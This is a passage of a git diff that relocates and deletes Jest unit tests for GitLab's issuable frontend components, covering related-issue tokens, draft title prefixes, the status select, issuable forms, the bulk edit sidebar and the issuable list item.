+ expect(wrapper.find('.item-title a').text()).toEqual(props.title);
+ });
+ });
+
+ describe('token state', () => {
+ const tokenState = () => wrapper.find({ ref: 'iconElementXL' });
+
+ beforeEach(() => {
+ wrapper.setProps({ state: 'opened' });
+ });
+
+ it('renders if hasState', () => {
+ expect(tokenState().exists()).toBe(true);
+ });
+
+ it('renders state title', () => {
+ const stateTitle = tokenState().attributes('title');
+ const formattedCreateDate = formatDate(props.createdAt);
+
+ expect(stateTitle).toContain('<span class="bold">Created</span>');
+ expect(stateTitle).toContain(`<span class="text-tertiary">${formattedCreateDate}</span>`);
+ });
+
+ it('renders aria label', () => {
+ expect(tokenState().attributes('aria-label')).toEqual('opened');
+ });
+
+ it('renders open icon when open state', () => {
+ expect(tokenState().classes('issue-token-state-icon-open')).toBe(true);
+ });
+
+ it('renders close icon when close state', async () => {
+ wrapper.setProps({
+ state: 'closed',
+ closedAt: '2018-12-01T00:00:00.00Z',
+ });
+ await wrapper.vm.$nextTick();
+
+ expect(tokenState().classes('issue-token-state-icon-closed')).toBe(true);
+ });
+ });
+
+ describe('token metadata', () => {
+ const tokenMetadata = () => wrapper.find('.item-meta');
+
+ it('renders item path and ID', () => {
+ const pathAndID = tokenMetadata().find('.item-path-id').text();
+
+ expect(pathAndID).toContain('gitlab-org/gitlab-test');
+ expect(pathAndID).toContain('#1');
+ });
+
+ it('renders milestone icon and name', () => {
+ const milestoneIcon = tokenMetadata().find('.item-milestone svg');
+ const milestoneTitle = tokenMetadata().find('.item-milestone .milestone-title');
+
+ expect(milestoneIcon.attributes('data-testid')).toBe('clock-icon');
+ expect(milestoneTitle.text()).toContain('Milestone title');
+ });
+
+ it('renders due date component with correct due date', () => {
+ expect(wrapper.find(IssueDueDate).props('date')).toBe(props.dueDate);
+ });
+
+ it('does not render red icon for overdue issue that is closed', async () => {
+ mountComponent({
+ props: {
+ ...props,
+ closedAt: '2018-12-01T00:00:00.00Z',
+ },
+ });
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.find(IssueDueDate).props('closed')).toBe(true);
+ });
+ });
+
+ describe('token assignees', () => {
+ it('renders assignees avatars', () => {
+ // Expect 2 times 2 because assignees are rendered twice, due to layout issues
+ expect(wrapper.findAll('.item-assignees .user-avatar-link').length).toBeDefined();
+
+ expect(wrapper.find('.item-assignees .avatar-counter').text()).toContain('+2');
+ });
+ });
+
+ describe('remove button', () => {
+ beforeEach(() => {
+ wrapper.setProps({ canRemove: true });
+ });
+
+ it('renders if canRemove', () => {
+ expect(findRemoveButton().exists()).toBe(true);
+ });
+
+ it('does not render the lock icon', () => {
+ expect(findLockIcon().exists()).toBe(false);
+ });
+
+ it('renders disabled button when removeDisabled', async () => {
+ wrapper.setData({ removeDisabled: true });
+ await wrapper.vm.$nextTick();
+
+ expect(findRemoveButton().attributes('disabled')).toEqual('disabled');
+ });
+
+ it('triggers onRemoveRequest when clicked', async () => {
+ findRemoveButton().trigger('click');
+ await wrapper.vm.$nextTick();
+ const { relatedIssueRemoveRequest } = wrapper.emitted();
+
+ expect(relatedIssueRemoveRequest.length).toBe(1);
+ expect(relatedIssueRemoveRequest[0]).toEqual([props.idKey]);
+ });
+ });
+
+ describe('when issue is locked', () => {
+ const lockedMessage = 'Issues created from a vulnerability cannot be removed';
+
+ beforeEach(() => {
+ wrapper.setProps({
+ isLocked: true,
+ lockedMessage,
+ });
+ });
+
+ it('does not render the remove button', () => {
+ expect(findRemoveButton().exists()).toBe(false);
+ });
+
+ it('renders the lock icon with the correct title', () => {
+ expect(findLockIcon().attributes('title')).toBe(lockedMessage);
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/issue/related_issuable_mock_data.js b/spec/frontend/issuable/components/related_issuable_mock_data.js
index 6cdb945ec20..6cdb945ec20 100644
--- a/spec/frontend/vue_shared/components/issue/related_issuable_mock_data.js
+++ b/spec/frontend/issuable/components/related_issuable_mock_data.js
diff --git a/spec/frontend/issuable/issuable_form_spec.js b/spec/frontend/issuable/issuable_form_spec.js
new file mode 100644
index 00000000000..321c61ead1e
--- /dev/null
+++ b/spec/frontend/issuable/issuable_form_spec.js
@@ -0,0 +1,62 @@
+import $ from 'jquery';
+
+import IssuableForm from '~/issuable/issuable_form';
+
+function createIssuable() {
+ const instance = new IssuableForm($(document.createElement('form')));
+
+ instance.titleField = $(document.createElement('input'));
+
+ return instance;
+}
+
+describe('IssuableForm', () => {
+ let instance;
+
+ beforeEach(() => {
+ instance = createIssuable();
+ });
+
+ describe('removeWip', () => {
+ it.each`
+ prefix
+ ${'draFT: '}
+ ${' [DRaft] '}
+ ${'drAft:'}
+ ${'[draFT]'}
+ ${'(draft) '}
+ ${' (DrafT)'}
+ ${'draft: [draft] (draft)'}
+ `('removes "$prefix" from the beginning of the title', ({ prefix }) => {
+ instance.titleField.val(`${prefix}The Issuable's Title Value`);
+
+ instance.removeWip();
+
+ expect(instance.titleField.val()).toBe("The Issuable's Title Value");
+ });
+ });
+
+ describe('addWip', () => {
+ it("properly adds the work in progress prefix to the Issuable's title", () => {
+ instance.titleField.val("The Issuable's Title Value");
+
+ instance.addWip();
+
+ expect(instance.titleField.val()).toBe("Draft: The Issuable's Title Value");
+ });
+ });
+
+ describe('workInProgress', () => {
+ it.each`
+ title | expected
+ ${'draFT: something is happening'} | ${true}
+ ${'draft something is happening'} | ${false}
+ ${'something is happening to drafts'} | ${false}
+ ${'something is happening'} | ${false}
+ `('returns $expected with "$title"', ({ title, expected }) => {
+ instance.titleField.val(title);
+
+ expect(instance.workInProgress()).toBe(expected);
+ });
+ });
+});
diff --git a/spec/frontend/issuable/related_issues/components/related_issues_block_spec.js b/spec/frontend/issuable/related_issues/components/related_issues_block_spec.js
index a450f912c4e..608fec45bbd 100644
--- a/spec/frontend/issuable/related_issues/components/related_issues_block_spec.js
+++ b/spec/frontend/issuable/related_issues/components/related_issues_block_spec.js
@@ -4,7 +4,7 @@ import {
issuable1,
issuable2,
issuable3,
-} from 'jest/vue_shared/components/issue/related_issuable_mock_data';
+} from 'jest/issuable/components/related_issuable_mock_data';
import RelatedIssuesBlock from '~/related_issues/components/related_issues_block.vue';
import {
linkedIssueTypesMap,
diff --git a/spec/frontend/issuable/related_issues/components/related_issues_list_spec.js b/spec/frontend/issuable/related_issues/components/related_issues_list_spec.js
index ffd9683cd6b..c7df3755e88 100644
--- a/spec/frontend/issuable/related_issues/components/related_issues_list_spec.js
+++ b/spec/frontend/issuable/related_issues/components/related_issues_list_spec.js
@@ -5,7 +5,7 @@ import {
issuable3,
issuable4,
issuable5,
-} from 'jest/vue_shared/components/issue/related_issuable_mock_data';
+} from 'jest/issuable/components/related_issuable_mock_data';
import IssueDueDate from '~/boards/components/issue_due_date.vue';
import RelatedIssuesList from '~/related_issues/components/related_issues_list.vue';
import { PathIdSeparator } from '~/related_issues/constants';
diff --git a/spec/frontend/issuable/related_issues/components/related_issues_root_spec.js b/spec/frontend/issuable/related_issues/components/related_issues_root_spec.js
index 3099e0b639b..01de4da7900 100644
--- a/spec/frontend/issuable/related_issues/components/related_issues_root_spec.js
+++ b/spec/frontend/issuable/related_issues/components/related_issues_root_spec.js
@@ -5,7 +5,7 @@ import {
defaultProps,
issuable1,
issuable2,
-} from 'jest/vue_shared/components/issue/related_issuable_mock_data';
+} from 'jest/issuable/components/related_issuable_mock_data';
import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import RelatedIssuesRoot from '~/related_issues/components/related_issues_root.vue';
diff --git a/spec/frontend/issuable/related_issues/stores/related_issues_store_spec.js b/spec/frontend/issuable/related_issues/stores/related_issues_store_spec.js
index ada1c44560f..4a6bd832fba 100644
--- a/spec/frontend/issuable/related_issues/stores/related_issues_store_spec.js
+++ b/spec/frontend/issuable/related_issues/stores/related_issues_store_spec.js
@@ -4,7 +4,7 @@ import {
issuable3,
issuable4,
issuable5,
-} from 'jest/vue_shared/components/issue/related_issuable_mock_data';
+} from 'jest/issuable/components/related_issuable_mock_data';
import RelatedIssuesStore from '~/related_issues/stores/related_issues_store';
describe('RelatedIssuesStore', () => {
diff --git a/spec/frontend/issuable_bulk_update_sidebar/components/status_select_spec.js b/spec/frontend/issuable_bulk_update_sidebar/components/status_select_spec.js
deleted file mode 100644
index 09dcb963154..00000000000
--- a/spec/frontend/issuable_bulk_update_sidebar/components/status_select_spec.js
+++ /dev/null
@@ -1,77 +0,0 @@
-import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import StatusSelect from '~/issuable_bulk_update_sidebar/components/status_select.vue';
-import { ISSUE_STATUS_SELECT_OPTIONS } from '~/issuable_bulk_update_sidebar/constants';
-
-describe('StatusSelect', () => {
- let wrapper;
-
- const findDropdown = () => wrapper.findComponent(GlDropdown);
- const findAllDropdownItems = () => wrapper.findAllComponents(GlDropdownItem);
- const findHiddenInput = () => wrapper.find('input');
-
- function createComponent() {
- wrapper = shallowMount(StatusSelect);
- }
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('with no value selected', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('renders default text', () => {
- expect(findDropdown().props('text')).toBe('Select status');
- });
-
- it('renders dropdown items with `is-checked` prop set to `false`', () => {
- const dropdownItems = findAllDropdownItems();
-
- expect(dropdownItems.at(0).props('isChecked')).toBe(false);
- expect(dropdownItems.at(1).props('isChecked')).toBe(false);
- });
- });
-
- describe('when selecting a value', () => {
- const selectItemAtIndex = 0;
-
- beforeEach(async () => {
- createComponent();
- await findAllDropdownItems().at(selectItemAtIndex).vm.$emit('click');
- });
-
- it('updates value of the hidden input', () => {
- expect(findHiddenInput().attributes('value')).toBe(
- ISSUE_STATUS_SELECT_OPTIONS[selectItemAtIndex].value,
- );
- });
-
- it('updates the dropdown text prop', () => {
- expect(findDropdown().props('text')).toBe(
- ISSUE_STATUS_SELECT_OPTIONS[selectItemAtIndex].text,
- );
- });
-
- it('sets dropdown item `is-checked` prop to `true`', () => {
- const dropdownItems = findAllDropdownItems();
-
- expect(dropdownItems.at(0).props('isChecked')).toBe(true);
- expect(dropdownItems.at(1).props('isChecked')).toBe(false);
- });
-
- describe('when selecting the value that is already selected', () => {
- it('clears dropdown selection', async () => {
- await findAllDropdownItems().at(selectItemAtIndex).vm.$emit('click');
-
- const dropdownItems = findAllDropdownItems();
-
- expect(dropdownItems.at(0).props('isChecked')).toBe(false);
- expect(dropdownItems.at(1).props('isChecked')).toBe(false);
- expect(findDropdown().props('text')).toBe('Select status');
- });
- });
- });
-});
diff --git a/spec/frontend/issuable_create/components/issuable_create_root_spec.js b/spec/frontend/issuable_create/components/issuable_create_root_spec.js
deleted file mode 100644
index 675d01ae4af..00000000000
--- a/spec/frontend/issuable_create/components/issuable_create_root_spec.js
+++ /dev/null
@@ -1,64 +0,0 @@
-import { mount } from '@vue/test-utils';
-
-import IssuableCreateRoot from '~/issuable_create/components/issuable_create_root.vue';
-import IssuableForm from '~/issuable_create/components/issuable_form.vue';
-
-const createComponent = ({
- descriptionPreviewPath = '/gitlab-org/gitlab-shell/preview_markdown',
- descriptionHelpPath = '/help/user/markdown',
- labelsFetchPath = '/gitlab-org/gitlab-shell/-/labels.json',
- labelsManagePath = '/gitlab-org/gitlab-shell/-/labels',
-} = {}) => {
- return mount(IssuableCreateRoot, {
- propsData: {
- descriptionPreviewPath,
- descriptionHelpPath,
- labelsFetchPath,
- labelsManagePath,
- },
- slots: {
- title: `
- <h1 class="js-create-title">New Issuable</h1>
- `,
- actions: `
- <button class="js-issuable-save">Submit issuable</button>
- `,
- },
- });
-};
-
-describe('IssuableCreateRoot', () => {
- let wrapper;
-
- beforeEach(() => {
- wrapper = createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('template', () => {
- it('renders component container element with class "issuable-create-container"', () => {
- expect(wrapper.classes()).toContain('issuable-create-container');
- });
-
- it('renders contents for slot "title"', () => {
- const titleEl = wrapper.find('h1.js-create-title');
-
- expect(titleEl.exists()).toBe(true);
- expect(titleEl.text()).toBe('New Issuable');
- });
-
- it('renders issuable-form component', () => {
- expect(wrapper.find(IssuableForm).exists()).toBe(true);
- });
-
- it('renders contents for slot "actions" within issuable-form component', () => {
- const buttonEl = wrapper.find(IssuableForm).find('button.js-issuable-save');
-
- expect(buttonEl.exists()).toBe(true);
- expect(buttonEl.text()).toBe('Submit issuable');
- });
- });
-});
diff --git a/spec/frontend/issuable_create/components/issuable_form_spec.js b/spec/frontend/issuable_create/components/issuable_form_spec.js
deleted file mode 100644
index 30b116bc35c..00000000000
--- a/spec/frontend/issuable_create/components/issuable_form_spec.js
+++ /dev/null
@@ -1,122 +0,0 @@
-import { GlFormInput } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-
-import IssuableForm from '~/issuable_create/components/issuable_form.vue';
-import MarkdownField from '~/vue_shared/components/markdown/field.vue';
-import LabelsSelect from '~/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue';
-
-const createComponent = ({
- descriptionPreviewPath = '/gitlab-org/gitlab-shell/preview_markdown',
- descriptionHelpPath = '/help/user/markdown',
- labelsFetchPath = '/gitlab-org/gitlab-shell/-/labels.json',
- labelsManagePath = '/gitlab-org/gitlab-shell/-/labels',
-} = {}) => {
- return shallowMount(IssuableForm, {
- propsData: {
- descriptionPreviewPath,
- descriptionHelpPath,
- labelsFetchPath,
- labelsManagePath,
- },
- slots: {
- actions: `
- <button class="js-issuable-save">Submit issuable</button>
- `,
- },
- stubs: {
- MarkdownField,
- },
- });
-};
-
-describe('IssuableForm', () => {
- let wrapper;
-
- beforeEach(() => {
- wrapper = createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('methods', () => {
- describe('handleUpdateSelectedLabels', () => {
- it('sets provided `labels` param to prop `selectedLabels`', () => {
- const labels = [
- {
- id: 1,
- color: '#BADA55',
- text_color: '#ffffff',
- title: 'Documentation',
- },
- ];
-
- wrapper.vm.handleUpdateSelectedLabels(labels);
-
- expect(wrapper.vm.selectedLabels).toBe(labels);
- });
- });
- });
-
- describe('template', () => {
- it('renders issuable title input field', () => {
- const titleFieldEl = wrapper.find('[data-testid="issuable-title"]');
-
- expect(titleFieldEl.exists()).toBe(true);
- expect(titleFieldEl.find('label').text()).toBe('Title');
- expect(titleFieldEl.find(GlFormInput).exists()).toBe(true);
- expect(titleFieldEl.find(GlFormInput).attributes('placeholder')).toBe('Title');
- expect(titleFieldEl.find(GlFormInput).attributes('autofocus')).toBe('true');
- });
-
- it('renders issuable description input field', () => {
- const descriptionFieldEl = wrapper.find('[data-testid="issuable-description"]');
-
- expect(descriptionFieldEl.exists()).toBe(true);
- expect(descriptionFieldEl.find('label').text()).toBe('Description');
- expect(descriptionFieldEl.find(MarkdownField).exists()).toBe(true);
- expect(descriptionFieldEl.find(MarkdownField).props()).toMatchObject({
- markdownPreviewPath: wrapper.vm.descriptionPreviewPath,
- markdownDocsPath: wrapper.vm.descriptionHelpPath,
- addSpacingClasses: false,
- showSuggestPopover: true,
- textareaValue: '',
- });
- expect(descriptionFieldEl.find('textarea').exists()).toBe(true);
- expect(descriptionFieldEl.find('textarea').attributes('placeholder')).toBe(
- 'Write a comment or drag your files here…',
- );
- });
-
- it('renders labels select field', () => {
- const labelsSelectEl = wrapper.find('[data-testid="issuable-labels"]');
-
- expect(labelsSelectEl.exists()).toBe(true);
- expect(labelsSelectEl.find('label').text()).toBe('Labels');
- expect(labelsSelectEl.find(LabelsSelect).exists()).toBe(true);
- expect(labelsSelectEl.find(LabelsSelect).props()).toMatchObject({
- allowLabelEdit: true,
- allowLabelCreate: true,
- allowMultiselect: true,
- allowScopedLabels: true,
- labelsFetchPath: wrapper.vm.labelsFetchPath,
- labelsManagePath: wrapper.vm.labelsManagePath,
- selectedLabels: wrapper.vm.selectedLabels,
- labelsListTitle: 'Select label',
- footerCreateLabelTitle: 'Create project label',
- footerManageLabelTitle: 'Manage project labels',
- variant: 'embedded',
- });
- });
-
- it('renders contents for slot "actions"', () => {
- const buttonEl = wrapper
- .find('[data-testid="issuable-create-actions"]')
- .find('button.js-issuable-save');
-
- expect(buttonEl.exists()).toBe(true);
- expect(buttonEl.text()).toBe('Submit issuable');
- });
- });
-});
diff --git a/spec/frontend/issuable_form_spec.js b/spec/frontend/issuable_form_spec.js
deleted file mode 100644
index c77fde4261e..00000000000
--- a/spec/frontend/issuable_form_spec.js
+++ /dev/null
@@ -1,62 +0,0 @@
-import $ from 'jquery';
-
-import IssuableForm from '~/issuable_form';
-
-function createIssuable() {
- const instance = new IssuableForm($(document.createElement('form')));
-
- instance.titleField = $(document.createElement('input'));
-
- return instance;
-}
-
-describe('IssuableForm', () => {
- let instance;
-
- beforeEach(() => {
- instance = createIssuable();
- });
-
- describe('removeWip', () => {
- it.each`
- prefix
- ${'draFT: '}
- ${' [DRaft] '}
- ${'drAft:'}
- ${'[draFT]'}
- ${'(draft) '}
- ${' (DrafT)'}
- ${'draft: [draft] (draft)'}
- `('removes "$prefix" from the beginning of the title', ({ prefix }) => {
- instance.titleField.val(`${prefix}The Issuable's Title Value`);
-
- instance.removeWip();
-
- expect(instance.titleField.val()).toBe("The Issuable's Title Value");
- });
- });
-
- describe('addWip', () => {
- it("properly adds the work in progress prefix to the Issuable's title", () => {
- instance.titleField.val("The Issuable's Title Value");
-
- instance.addWip();
-
- expect(instance.titleField.val()).toBe("Draft: The Issuable's Title Value");
- });
- });
-
- describe('workInProgress', () => {
- it.each`
- title | expected
- ${'draFT: something is happening'} | ${true}
- ${'draft something is happening'} | ${false}
- ${'something is happening to drafts'} | ${false}
- ${'something is happening'} | ${false}
- `('returns $expected with "$title"', ({ title, expected }) => {
- instance.titleField.val(title);
-
- expect(instance.workInProgress()).toBe(expected);
- });
- });
-});
diff --git a/spec/frontend/issuable_list/components/issuable_bulk_edit_sidebar_spec.js b/spec/frontend/issuable_list/components/issuable_bulk_edit_sidebar_spec.js
deleted file mode 100644
index 52a238eac7c..00000000000
--- a/spec/frontend/issuable_list/components/issuable_bulk_edit_sidebar_spec.js
+++ /dev/null
@@ -1,97 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-
-import IssuableBulkEditSidebar from '~/issuable_list/components/issuable_bulk_edit_sidebar.vue';
-
-const createComponent = ({ expanded = true } = {}) =>
- shallowMount(IssuableBulkEditSidebar, {
- propsData: {
- expanded,
- },
- slots: {
- 'bulk-edit-actions': `
- <button class="js-edit-issuables">Edit issuables</button>
- `,
- 'sidebar-items': `
- <button class="js-sidebar-dropdown">Labels</button>
- `,
- },
- });
-
-describe('IssuableBulkEditSidebar', () => {
- let wrapper;
-
- beforeEach(() => {
- setFixtures('<div class="layout-page right-sidebar-collapsed"></div>');
- wrapper = createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('watch', () => {
- describe('expanded', () => {
- it.each`
- expanded | layoutPageClass
- ${true} | ${'right-sidebar-expanded'}
- ${false} | ${'right-sidebar-collapsed'}
- `(
- 'sets class "$layoutPageClass" on element `.layout-page` when expanded prop is $expanded',
- async ({ expanded, layoutPageClass }) => {
- const wrappeCustom = createComponent({
- expanded: !expanded,
- });
-
- // We need to manually flip the value of `expanded` for
- // watcher to trigger.
- wrappeCustom.setProps({
- expanded,
- });
-
- await wrappeCustom.vm.$nextTick();
-
- expect(document.querySelector('.layout-page').classList.contains(layoutPageClass)).toBe(
- true,
- );
-
- wrappeCustom.destroy();
- },
- );
- });
- });
-
- describe('template', () => {
- it.each`
- expanded | layoutPageClass
- ${true} | ${'right-sidebar-expanded'}
- ${false} | ${'right-sidebar-collapsed'}
- `(
- 'renders component container with class "$layoutPageClass" when expanded prop is $expanded',
- async ({ expanded, layoutPageClass }) => {
- const wrappeCustom = createComponent({
- expanded: !expanded,
- });
-
- // We need to manually flip the value of `expanded` for
- // watcher to trigger.
- wrappeCustom.setProps({
- expanded,
- });
-
- await wrappeCustom.vm.$nextTick();
-
- expect(wrappeCustom.classes()).toContain(layoutPageClass);
-
- wrappeCustom.destroy();
- },
- );
-
- it('renders contents for slot `bulk-edit-actions`', () => {
- expect(wrapper.find('button.js-edit-issuables').exists()).toBe(true);
- });
-
- it('renders contents for slot `sidebar-items`', () => {
- expect(wrapper.find('button.js-sidebar-dropdown').exists()).toBe(true);
- });
- });
-});
diff --git a/spec/frontend/issuable_list/components/issuable_item_spec.js b/spec/frontend/issuable_list/components/issuable_item_spec.js
deleted file mode 100644
index ac3bf7f3269..00000000000
--- a/spec/frontend/issuable_list/components/issuable_item_spec.js
+++ /dev/null
@@ -1,478 +0,0 @@
-import { GlLink, GlLabel, GlIcon, GlFormCheckbox, GlSprintf } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import { useFakeDate } from 'helpers/fake_date';
-import IssuableItem from '~/issuable_list/components/issuable_item.vue';
-import IssuableAssignees from '~/vue_shared/components/issue/issue_assignees.vue';
-
-import { mockIssuable, mockRegularLabel, mockScopedLabel } from '../mock_data';
-
-const createComponent = ({ issuableSymbol = '#', issuable = mockIssuable, slots = {} } = {}) =>
- shallowMount(IssuableItem, {
- propsData: {
- issuableSymbol,
- issuable,
- enableLabelPermalinks: true,
- showDiscussions: true,
- showCheckbox: false,
- },
- slots,
- stubs: {
- GlSprintf,
- },
- });
-
-const MOCK_GITLAB_URL = 'http://0.0.0.0:3000';
-
-describe('IssuableItem', () => {
- // The mock data is dependent that this is after our default date
- useFakeDate(2020, 11, 11);
-
- const mockLabels = mockIssuable.labels.nodes;
- const mockAuthor = mockIssuable.author;
- const originalUrl = gon.gitlab_url;
- let wrapper;
-
- beforeEach(() => {
- gon.gitlab_url = MOCK_GITLAB_URL;
- wrapper = createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- gon.gitlab_url = originalUrl;
- });
-
- describe('computed', () => {
- describe('author', () => {
- it('returns `issuable.author` reference', () => {
- expect(wrapper.vm.author).toEqual(mockIssuable.author);
- });
- });
-
- describe('authorId', () => {
- it.each`
- authorId | returnValue
- ${1} | ${1}
- ${'1'} | ${1}
- ${'gid://gitlab/User/1'} | ${1}
- ${'foo'} | ${null}
- `(
- 'returns $returnValue when value of `issuable.author.id` is $authorId',
- async ({ authorId, returnValue }) => {
- wrapper.setProps({
- issuable: {
- ...mockIssuable,
- author: {
- ...mockAuthor,
- id: authorId,
- },
- },
- });
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.authorId).toBe(returnValue);
- },
- );
- });
-
- describe('isIssuableUrlExternal', () => {
- it.each`
- issuableWebUrl | urlType | returnValue
- ${'/gitlab-org/gitlab-test/-/issues/2'} | ${'relative'} | ${false}
- ${`${MOCK_GITLAB_URL}/gitlab-org/gitlab-test/-/issues/1`} | ${'absolute and internal'} | ${false}
- ${'http://jira.atlassian.net/browse/IG-1'} | ${'external'} | ${true}
- ${'https://github.com/gitlabhq/gitlabhq/issues/1'} | ${'external'} | ${true}
- `(
- 'returns $returnValue when `issuable.webUrl` is $urlType',
- async ({ issuableWebUrl, returnValue }) => {
- wrapper.setProps({
- issuable: {
- ...mockIssuable,
- webUrl: issuableWebUrl,
- },
- });
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.isIssuableUrlExternal).toBe(returnValue);
- },
- );
- });
-
- describe('labels', () => {
- it('returns `issuable.labels.nodes` reference when it is available', () => {
- expect(wrapper.vm.labels).toEqual(mockLabels);
- });
-
- it('returns `issuable.labels` reference when it is available', async () => {
- wrapper.setProps({
- issuable: {
- ...mockIssuable,
- labels: mockLabels,
- },
- });
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.labels).toEqual(mockLabels);
- });
-
- it('returns empty array when none of `issuable.labels.nodes` or `issuable.labels` are available', async () => {
- wrapper.setProps({
- issuable: {
- ...mockIssuable,
- labels: null,
- },
- });
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.labels).toEqual([]);
- });
- });
-
- describe('assignees', () => {
- it('returns `issuable.assignees` reference when it is available', () => {
- expect(wrapper.vm.assignees).toBe(mockIssuable.assignees);
- });
- });
-
- describe('updatedAt', () => {
- it('returns string containing timeago string based on `issuable.updatedAt`', () => {
- expect(wrapper.vm.updatedAt).toContain('updated');
- expect(wrapper.vm.updatedAt).toContain('ago');
- });
- });
-
- describe('showDiscussions', () => {
- it.each`
- userDiscussionsCount | returnValue
- ${0} | ${true}
- ${1} | ${true}
- ${undefined} | ${false}
- ${null} | ${false}
- `(
- 'returns $returnValue when issuable.userDiscussionsCount is $userDiscussionsCount',
- ({ userDiscussionsCount, returnValue }) => {
- const wrapperWithDiscussions = createComponent({
- issuableSymbol: '#',
- issuable: {
- ...mockIssuable,
- userDiscussionsCount,
- },
- });
-
- expect(wrapperWithDiscussions.vm.showDiscussions).toBe(returnValue);
-
- wrapperWithDiscussions.destroy();
- },
- );
- });
- });
-
- describe('methods', () => {
- describe('scopedLabel', () => {
- it.each`
- label | labelType | returnValue
- ${mockRegularLabel} | ${'regular'} | ${false}
- ${mockScopedLabel} | ${'scoped'} | ${true}
- `(
- 'return $returnValue when provided label param is a $labelType label',
- ({ label, returnValue }) => {
- expect(wrapper.vm.scopedLabel(label)).toBe(returnValue);
- },
- );
- });
-
- describe('labelTitle', () => {
- it.each`
- label | propWithTitle | returnValue
- ${{ title: 'foo' }} | ${'title'} | ${'foo'}
- ${{ name: 'foo' }} | ${'name'} | ${'foo'}
- `('returns string value of `label.$propWithTitle`', ({ label, returnValue }) => {
- expect(wrapper.vm.labelTitle(label)).toBe(returnValue);
- });
- });
-
- describe('labelTarget', () => {
- it('returns target string for a provided label param when `enableLabelPermalinks` is true', () => {
- expect(wrapper.vm.labelTarget(mockRegularLabel)).toBe(
- '?label_name[]=Documentation%20Update',
- );
- });
-
- it('returns string "#" for a provided label param when `enableLabelPermalinks` is false', async () => {
- wrapper.setProps({
- enableLabelPermalinks: false,
- });
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.labelTarget(mockRegularLabel)).toBe('#');
- });
- });
- });
-
- describe('template', () => {
- it.each`
- gitlabWebUrl | webUrl | expectedHref | expectedTarget
- ${undefined} | ${`${MOCK_GITLAB_URL}/issue`} | ${`${MOCK_GITLAB_URL}/issue`} | ${undefined}
- ${undefined} | ${'https://jira.com/issue'} | ${'https://jira.com/issue'} | ${'_blank'}
- ${'/gitlab-org/issue'} | ${'https://jira.com/issue'} | ${'/gitlab-org/issue'} | ${undefined}
- `(
- 'renders issuable title correctly when `gitlabWebUrl` is `$gitlabWebUrl` and webUrl is `$webUrl`',
- async ({ webUrl, gitlabWebUrl, expectedHref, expectedTarget }) => {
- wrapper.setProps({
- issuable: {
- ...mockIssuable,
- webUrl,
- gitlabWebUrl,
- },
- });
-
- await wrapper.vm.$nextTick();
-
- const titleEl = wrapper.find('[data-testid="issuable-title"]');
-
- expect(titleEl.exists()).toBe(true);
- expect(titleEl.find(GlLink).attributes('href')).toBe(expectedHref);
- expect(titleEl.find(GlLink).attributes('target')).toBe(expectedTarget);
- expect(titleEl.find(GlLink).text()).toBe(mockIssuable.title);
- },
- );
-
- it('renders checkbox when `showCheckbox` prop is true', async () => {
- wrapper.setProps({
- showCheckbox: true,
- });
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.find(GlFormCheckbox).exists()).toBe(true);
- expect(wrapper.find(GlFormCheckbox).attributes('checked')).not.toBeDefined();
-
- wrapper.setProps({
- checked: true,
- });
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.find(GlFormCheckbox).attributes('checked')).toBe('true');
- });
-
- it('renders issuable title with `target` set as "_blank" when issuable.webUrl is external', async () => {
- wrapper.setProps({
- issuable: {
- ...mockIssuable,
- webUrl: 'http://jira.atlassian.net/browse/IG-1',
- },
- });
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.find('[data-testid="issuable-title"]').find(GlLink).attributes('target')).toBe(
- '_blank',
- );
- });
-
- it('renders issuable confidential icon when issuable is confidential', async () => {
- wrapper.setProps({
- issuable: {
- ...mockIssuable,
- confidential: true,
- },
- });
-
- await wrapper.vm.$nextTick();
-
- const confidentialEl = wrapper.find('[data-testid="issuable-title"]').find(GlIcon);
-
- expect(confidentialEl.exists()).toBe(true);
- expect(confidentialEl.props('name')).toBe('eye-slash');
- expect(confidentialEl.attributes()).toMatchObject({
- title: 'Confidential',
- arialabel: 'Confidential',
- });
- });
-
- it('renders task status', () => {
- const taskStatus = wrapper.find('[data-testid="task-status"]');
- const expected = `${mockIssuable.taskCompletionStatus.completedCount} of ${mockIssuable.taskCompletionStatus.count} tasks completed`;
-
- expect(taskStatus.text()).toBe(expected);
- });
-
- it('renders issuable reference', () => {
- const referenceEl = wrapper.find('[data-testid="issuable-reference"]');
-
- expect(referenceEl.exists()).toBe(true);
- expect(referenceEl.text()).toBe(`#${mockIssuable.iid}`);
- });
-
- it('renders issuable reference via slot', () => {
- const wrapperWithRefSlot = createComponent({
- issuableSymbol: '#',
- issuable: mockIssuable,
- slots: {
- reference: `
- <b class="js-reference">${mockIssuable.iid}</b>
- `,
- },
- });
- const referenceEl = wrapperWithRefSlot.find('.js-reference');
-
- expect(referenceEl.exists()).toBe(true);
- expect(referenceEl.text()).toBe(`${mockIssuable.iid}`);
-
- wrapperWithRefSlot.destroy();
- });
-
- it('renders issuable createdAt info', () => {
- const createdAtEl = wrapper.find('[data-testid="issuable-created-at"]');
-
- expect(createdAtEl.exists()).toBe(true);
- expect(createdAtEl.attributes('title')).toBe('Jun 29, 2020 1:52pm UTC');
- expect(createdAtEl.text()).toBe(wrapper.vm.createdAt);
- });
-
- it('renders issuable author info', () => {
- const authorEl = wrapper.find('[data-testid="issuable-author"]');
-
- expect(authorEl.exists()).toBe(true);
- expect(authorEl.attributes()).toMatchObject({
